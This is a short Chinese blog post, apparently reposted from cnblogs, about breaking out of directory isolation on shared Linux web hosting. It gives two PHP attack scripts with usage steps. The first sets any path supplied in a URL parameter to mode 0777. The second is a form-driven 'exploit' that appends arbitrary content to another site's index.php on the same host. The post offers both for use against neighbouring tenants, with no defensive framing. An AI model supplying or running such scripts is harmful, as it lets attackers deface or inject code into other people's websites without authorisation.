linux权限多设的比较松的其实，但有的虚拟机还是不能跨目录访问的。在提不了权的情况下，试试如下代码吧。运气好的话说不定就跨过去了。代码如下：<?php$path = stripslashes($_GET['path']);$ok = chmod ($path , 0777);if ($ok == true)echo CHMOD OK , Permission editable file or directory. Permission to write;?><?php$path = stripslashes($_GET['path']);$ok = chmod ($path , 0777);if ($ok == true)echo CHMOD OK , Permission editable file or directory. Permission to write;?>把上面代码保存为tmdsb.PHP然后访问http://www.tmdsb.com/tmdsb.php?path=http://www.cnblogs.com/要跨的目录/index.php这里的index.PHP是要修改权限的文件。收集的另一个exp：把下面的代码保存为exp.PHP<?php@$filename = stripslashes($_POST['filename']);@$mess = stripslashes($_POST['mess']);$fp = @fopen({$_POST['filename']}, 'a');@fputs($fp,$mess <hr size=1 color=black>);@fclose($fp);?><form name=form1 action=exploit.php method=post><p align=center><b><br>CODE :<br><textarea name=mess rows=3></textarea></font></b></textarea></font></b> <p><input type=hidden name=filename value=http://www.cnblogs.com/AUTRE WEBSITE SUR LE MULTIHOSTING/index.php></p><center><input type=reset name=Submit value=Delete><input name=go type=submit value=Send onClick=javascript:this.style.visibility ='hidden';><center></form><meta http-equiv=Content-Type content=text/html; charset=iso-8859-1><title>Changing CHMOD Permissions Exploit – Contact : the_gl4di4t0r[AT]hotmail[DOT]com</title></head><body></center></body>注意上面代码里面的路径。用的时候要改成你要访问的目录和文件。
转载于:https://www.cnblogs.com/amwld/archive/2011/10/02/2197895.html
